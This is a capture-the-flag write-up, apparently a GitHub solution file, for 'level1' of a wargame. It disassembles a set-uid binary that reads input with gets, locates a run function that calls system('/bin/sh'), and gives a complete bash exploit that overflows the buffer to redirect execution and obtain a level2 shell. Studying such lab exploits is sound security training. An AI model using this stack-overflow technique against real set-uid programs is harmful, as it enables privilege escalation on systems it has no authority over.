Skip to content

Latest commit

 

History

History
129 lines (110 loc) · 3.83 KB

solution.md

File metadata and controls

129 lines (110 loc) · 3.83 KB

← level0 Home level2 →

level1

Dissassembly

To dissassemble the executable we can use gdb.

FUNCTION=main EXECUTABLE=./level1
gdb -batch -ex "set disassembly-flavor intel" -ex "disassemble/r $FUNCTION" "$EXECUTABLE"

The main function looks like this:

Dump of assembler code for function main:
   0x08048480 <+0>:     55                push   ebp
   0x08048481 <+1>:     89 e5             mov    ebp,esp
   0x08048483 <+3>:     83 e4 f0          and    esp,0xfffffff0
   0x08048486 <+6>:     83 ec 50          sub    esp,0x50
   0x08048489 <+9>:     8d 44 24 10       lea    eax,[esp+0x10]
   0x0804848d <+13>:    89 04 24          mov    DWORD PTR [esp],eax
   0x08048490 <+16>:    e8 ab fe ff ff    call   0x8048340 <gets@plt>
   0x08048495 <+21>:    c9                leave
   0x08048496 <+22>:    c3                ret
End of assembler dump.

The stack looks like this:

Address Type Size
-72 char data[72] 72
0 *EBP 4
+4 *EIP 4

Exploitation

This is a typical case of stack-buffer overflow. This means we can overwrite data preceding the buffer on the stack, notably the return pointer preceding the buffer on the stack.

So let's see if we can exploit an existing function in the executable.

To list all functions we can use nm or objdump. Functions are located in the .text section:

objdump -M intel intel-mnemonic --disassemble ./level1

There is a function called run, which seams interesting:

...
08048444 <run>:
 8048444:	55                   	push   ebp
 8048445:	89 e5                	mov    ebp,esp
 8048447:	83 ec 18             	sub    esp,0x18
 804844a:	a1 c0 97 04 08       	mov    eax,ds:0x80497c0
 804844f:	89 c2                	mov    edx,eax
 8048451:	b8 70 85 04 08       	mov    eax,0x8048570
 8048456:	89 54 24 0c          	mov    DWORD PTR [esp+0xc],edx
 804845a:	c7 44 24 08 13 00 00 	mov    DWORD PTR [esp+0x8],0x13
 8048461:	00
 8048462:	c7 44 24 04 01 00 00 	mov    DWORD PTR [esp+0x4],0x1
 8048469:	00
 804846a:	89 04 24             	mov    DWORD PTR [esp],eax
 804846d:	e8 de fe ff ff       	call   8048350 <fwrite@plt>
 8048472:	c7 04 24 84 85 04 08 	mov    DWORD PTR [esp],0x8048584
 8048479:	e8 e2 fe ff ff       	call   8048360 <system@plt>
 804847e:	c9                   	leave
 804847f:	c3                   	ret
...

We can see a call to system here:

8048472:	c7 04 24 84 85 04 08 	mov    DWORD PTR [esp],0x8048584
8048479:	e8 e2 fe ff ff       	call   8048360 <system@plt>

The argument pushed on the stack is a string that is going to be executed with the level2 user's set-uid privileges. Let's look at the string's content:

EXECUTABLE=level1
ADDRESS=0x8048584
gdb -batch -ex "x/s $ADDRESS" "$EXECUTABLE"

We can see that there already is all we need to gain the level2 user's privileges:

0x8048584:	 "/bin/sh"

All that is left to do is to craft an input string long enough to overflow the data array, and the base-pointer's value *EBP to be able to overwrite the return-pointer's value *EIP.

> /tmp/level1.sh cat << EOF
#!/usr/bin/env bash
PADDING_LEN=76 # sizeof(data) + sizeof(*EBP)

RETURN_ADDRESS='08048444' # The address of the run function

PADDING=$(printf "%.0sA" $(seq -s' ' "$PADDING_LEN"))
BYTES=$(<<< "$RETURN_ADDRESS" rev | dd conv=swab | xxd -r -p)

echo "$PADDING$BYTES"
EOF
chmod +x /tmp/level1.sh
(/tmp/level1.sh; cat) | ./level1
Good... Wait what?
whoami
level2